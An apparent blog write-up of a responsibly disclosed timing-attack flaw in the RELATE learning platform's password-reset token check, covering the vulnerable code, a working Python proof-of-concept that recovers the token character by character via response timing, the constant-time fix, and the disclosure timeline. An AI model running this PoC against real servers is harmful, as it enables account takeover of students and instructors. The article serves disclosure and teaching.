This article is about how I found my first real vulnerability starting from absolute zero. Technical details, PoC code, and the responsible disclosure process — all covered here.
Introduction
A few weeks ago I decided to learn how to find CVEs. I had no prior experience — just Python knowledge, a Linux terminal, and GitHub. This article is the result of that journey: CVE-2026-41588 — a critical timing attack vulnerability in RELATE, an open-source LMS platform.
What is RELATE?
RELATE (an Environment for Learning And TEaching) is a Django-based open-source course management system. It is used by universities and supports code questions, exams, grading, and git integration. It has 422 stars on GitHub and is actively maintained.
Technical Analysis
Vulnerable Code
Inside reset_password_stage2 in course/auth.py, the function check_sign_in_key():
def check_sign_in_key(user_id: int, token: str):
user = get_user_model().objects.get(id=user_id)
return user.sign_in_key == token # ← PROBLEM IS HEREAlso in EmailedTokenBackend.authenticate():
def authenticate(self, request, user_id=None, token=None):
users = get_user_model().objects.filter(
id=user_id, sign_in_key=token) # ← compared in DBWhy Is This a Problem?
Python's == operator stops string comparison at the first differing byte. This means:
"abc123" == "abc456"
^
Stops here — 3 bytes compared
"abc123" == "xyz000"
^
Stops here — 0 bytes comparedAn attacker can measure the server's response time to determine how many bytes are correct. This allows the token to be guessed byte by byte.
How Is the Token Generated?
def make_sign_in_key(user: User) -> str:
import hashlib
import random
from time import time
m = hashlib.sha1() # ← SHA1 (weak)
m.update(user.email.encode("utf-8"))
m.update(hex(random.getrandbits(128)).encode())
m.update(str(time()).encode("utf-8"))
return m.hexdigest() # 40 hex charactersThe token is a 40-character hex string (SHA1 output). Normally brute-forcing it would require 16^40 attempts. But with a timing attack, this is reduced to 40 separate comparisons.
Attack Scenario
Attack Flow
Attacker Server
| |
|--------- POST /reset/1/a... --> |
|<-- 403 (t=0.0021s) ------------ | ← "a" is wrong, fast response
| |
|--------- POST /reset/1/f... --> |
|<-- 403 (t=0.0024s) ------------ | ← "f" slightly longer?
| |
|--------- POST /reset/1/fa.. --> |
|<-- 403 (t=0.0027s) ------------ | ← yes, "fa" is correct!
| |
... (repeat until all 40 chars found)
| |
|------ POST /reset/1/fa3c... --> |
|<-- 302 REDIRECT --------------- | ← FULL TOKEN FOUND!Proof of Concept Code
import requests
import time
import statistics
TARGET = "http://relate.example.edu"
USER_ID = 1
HEX_CHARS = "0123456789abcdef"
def measure_response_time(token: str, samples: int = 10) -> float:
times = []
for _ in range(samples):
url = f"{TARGET}/reset-password/stage2/{USER_ID}/{token}/"
start = time.perf_counter()
requests.get(url)
elapsed = time.perf_counter() - start
times.append(elapsed)
return statistics.median(times)
def find_token_char(known_prefix: str) -> str:
results = {}
for c in HEX_CHARS:
candidate = known_prefix + c + "a" * (39 - len(known_prefix))
t = measure_response_time(candidate)
results[c] = t
print(f" '{known_prefix + c}': {t:.6f}s")
# The character with the longest response time is correct
return max(results, key=results.get)
def attack():
known = ""
while len(known) < 40:
print(f"\n[*] Finding character {len(known)+1}/40...")
char = find_token_char(known)
known += char
print(f"[+] Found so far: {known}")
return known
token = attack()
print(f"\n[!] Token found: {token}")The Fix
The maintainer applied the following patch:
import secrets
def check_sign_in_key(user_id: int, token: str):
user = cast("User", get_user_model().objects.get(id=user_id))
if user.sign_in_key is None:
return False
# Constant-time comparison — timing attack not possible
return secrets.compare_digest(user.sign_in_key, token)Two things were fixed here. First, secrets.compare_digest() replaces == — it always runs in constant time regardless of the result, making timing attacks impossible. Second, the None check was added to prevent a TypeError if sign_in_key has already been consumed.
Note: secrets.compare_digest() and hmac.compare_digest() are functionally identical — the secrets version is simply a wrapper. However, secrets is semantically more appropriate since the module is specifically designed for cryptographic operations.
Impact
This vulnerability allows an attacker to:
- Account takeover — gain access to any user's account
- Password reset bypass — before the token expires
- Privilege escalation — access instructor/admin accounts
- Data exfiltration — course data, student submissions
CVSS v3.1 Score: Critical
AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:HResponsible Disclosure Timeline
Apr 15, 2026 — Vulnerability discovered
Apr 15, 2026 — GitHub Security Advisory submitted
Apr 16, 2026 — Maintainer responded
Apr 18, 2026 — Fix applied (commit: 2f68e16)
Apr 18, 2026 — CVE-2026-41588 assigned
Apr 23, 2026 — Public disclosureThe maintainer handled everything professionally — responded within 24 hours and applied a fix immediately.
What I Learned
Technical lessons:
- Never compare strings with
==in security contexts — always usehmac.compare_digest() - SHA1 is no longer recommended for security-critical use cases
- The
secretsmodule is a better choice for generating cryptographic tokens
Process lessons:
- Automated scanners (bandit) can provide a starting point, but manual analysis is essential
- Writing a PoC is required to prove the real-world exploitability of a vulnerability
- Responsible disclosure is beneficial for everyone involved
Conclusion
Starting from scratch, I found a real CVE within the first week. This shows that anyone with basic knowledge can do it. Open-source codebases are a large attack surface — with the right target selection and methodical analysis, finding vulnerabilities is achievable.